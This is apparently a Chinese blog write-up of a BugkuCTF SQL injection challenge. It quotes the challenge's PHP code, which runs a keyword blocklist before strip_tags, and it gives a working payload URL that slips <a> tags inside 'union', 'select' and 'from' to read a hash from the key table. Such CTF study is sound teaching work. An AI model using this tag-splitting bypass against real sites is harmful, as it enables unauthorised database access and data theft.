BugkuCTF SQL注入1

前言

写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~

我们点开链接,里面有段这样的代码:

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

上面 //过滤sql

对sql注入进行了严格的过滤,完全没法注入,但百密必有一疏,

下面的//xss过滤

中的 strip_tags($id) 函数,使得注入有了思路。

首先看一下strip_tags这个函数: 

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

那么可以利用这点,在union等敏感字中间加上 <a><br>等标签。

根据题目提示说要访问参数为:?id=x

查找表为key的数据表,id=1值hash字段值,我们构造出如下注入语句:

http://103.238.227.13:10087/?id=-1 u<a>nion selec<a>t  1,hash fro<a>m .key

直接爆出了答案,这应该就算我们需要的flag

原文地址:https://www.cnblogs.com/ECJTUACM-873284962/p/8999741.html